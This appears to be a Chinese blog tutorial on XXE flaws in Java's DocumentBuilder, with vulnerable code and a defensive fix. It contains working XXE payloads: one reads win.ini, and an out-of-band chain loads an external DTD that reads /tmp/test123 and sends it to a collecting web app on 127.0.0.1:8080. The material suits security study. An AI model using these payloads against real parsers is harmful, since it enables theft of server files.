XXE漏洞:DocumentBuilder使用之殇
xxe这种漏洞无论是在php中还是java中,审计起来应该都是有迹可循的,在php中全局搜索特定函数,在java中需要找解析xml文档的类有没有被使用,所以,我们首先需要知道java有哪些常见的解析xml的类。本文只介绍一个xml解析类——DocumentBuilder,文章很短,可做快餐食用。
DocumentBuilder基础使用
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import java.io.File;
import java.io.IOException;
public class Main {
public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
File file = new File("./payload.xml");
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(file);
// 根据tag名获取标签,是不是很像js中的getElementByTagName函数
NodeList nodeList = doc.getElementsByTagName("person");
Element element = (Element) nodeList.item(0);
System.out.println("姓名:" + element.getElementsByTagName("name").item(0).getFirstChild().getNodeValue());
System.out.println("年龄:" + element.getElementsByTagName("age").item(0).getFirstChild().getNodeValue());
}
}
其中payload.xml文件内容如下:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE root [
<!ENTITY test SYSTEM "file:///c:/windows/win.ini">
]>
<person>
<name>axin</name>
<age>&test;</age>
</person>
这样就会读取本机的win.ini文件并打印到控制台:
javax.xml.parsers.DocumentBuilder 案例2
这个类导致的xxe漏洞感觉挺多的。微信支付,以及CVE-2017-12629都是由于这个类没有进行安全设置导致的。
用一个例子来学习一下这个类怎么导致xxe
import jdk.internal.org.xml.sax.SAXException;
import org.w3c.dom.Document;
import org.w3c.dom.NodeList;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import java.io.IOException;
public class ReadxmlByDom {
private static DocumentBuilderFactory dbFactory = null;
private static DocumentBuilder db = null;
private static Document document = null;
static{
try {
dbFactory = DocumentBuilderFactory.newInstance();
// dbFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
db = dbFactory.newDocumentBuilder();
} catch (ParserConfigurationException e) {
e.printStackTrace();
}
}
public static void main(String args[]) throws IOException, SAXException, org.xml.sax.SAXException {
document = db.parse(ReadxmlByDom.class.getResourceAsStream("/request.xml"));
NodeList nodeList = document.getElementsByTagName("root");
String nodeValue = nodeList.item(0).getFirstChild().getNodeValue();
System.out.println(nodeValue);
}
}
request.xml如下:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://localhost:8000/attack.xml">
%remote;
]>
<root></root>
attack.xml如下:
<!ENTITY % payload SYSTEM "file:///tmp/test123">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://127.0.0.1:8080/test?name=%payload;'>">
%int;
%trick;
上面的代码会读取并解析request.xml这个文件,由于没有进行安全配置,所以导致加载远程文件attack.xml,这个文件中的被解析后就会读取本地的/tmp/test123
并把内容发送到http://127.0.0.1:8080/。
我在8080端口用spring boot构建了一个接受数据的web应用,代码如下:
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
@RequestMapping("/test")
public class TestController {
@RequestMapping("")
public String hello(String name) {
System.out.println(name);
return "welcome";
}
}
这个应用在接受到数据时,会将数据打印到控制台
防御方法
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder db = dbf.newDocumentBuilder();
Document document = db.parse(in);
serFeature是关键,设置了过后,再解析xml时会直接报错,如下:
参考
spring boot 快速创建项目:http://tengj.top/2017/02/26/springboot1/
微信支付xxe:https://benjaminwhx.com/2018/07/05/%E7%94%B1%E5%BE%AE%E4%BF%A1%E6%94%AF%E4%BB%98XXE%E6%BC%8F%E6%B4%9E%E8%B0%88%E8%B0%88%E6%94%BB%E5%87%BB%E5%8E%9F%E7%90%86%E4%BB%A5%E5%8F%8A%E5%A6%82%E4%BD%95%E9%A2%84%E9%98%B2/
java xxe:https://blog.spoock.com/2018/10/23/java-xxe/
- python更新数据库脚本两种方法
- 使聊天机器人具有个性
- 遇到502错误,invalid request block size 解决方法
- python中json.loads,dumps,jsonify使用
- sqlalchemy和flask-sqlalchemy几种分页操作
- 一个 tflearn 情感分析小例子
- 前端js,后台python实现RSA非对称加密
- 运行mysql时,提示Table ‘performance_schema.session_variables’ doesn’t exist
- ODL应用开发之MD-SAL中级教程
- Sql参数是一个list的最佳实践
- MyBatis 配置输出日志,不输出SQL问题解决
- lombok让你提高代码整洁度的神器附教程及原理分析
- mvn编译的时候一个破错误,google只有3个结果maven : Failed to install metadata project Could not parse metadata maven-
- 读书|《Mastering Machine Learning with Python in Six Steps》
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 关于数字雨特效的学习
- linux 之mysql——约束(constraint)详解
- NFS+NIS+Autofs 实现用户的集中化管理
- [docker]Tomcat安装及配置访问权限
- Nginx+Keepalived 保障HA高可用
- Hash一致性闭环算法 - ( 适用于Redis扩容、Nginx多级缓存 等等 )
- MySQl 事务测试
- 百万数据,SQL数据分流查询
- Linux 安装Apr - 提高Tomcat 的可伸缩性和性能
- Linux下MySQL的彻底卸载
- Excel生成导入SQL语句,快速创建批量 insert/update/delete
- MySQL 执行计划详解
- MySQL 5.7详细安装步骤
- win10必备效率预览神器-Quick look
- 史上最全-Nginx和Tengine安装部署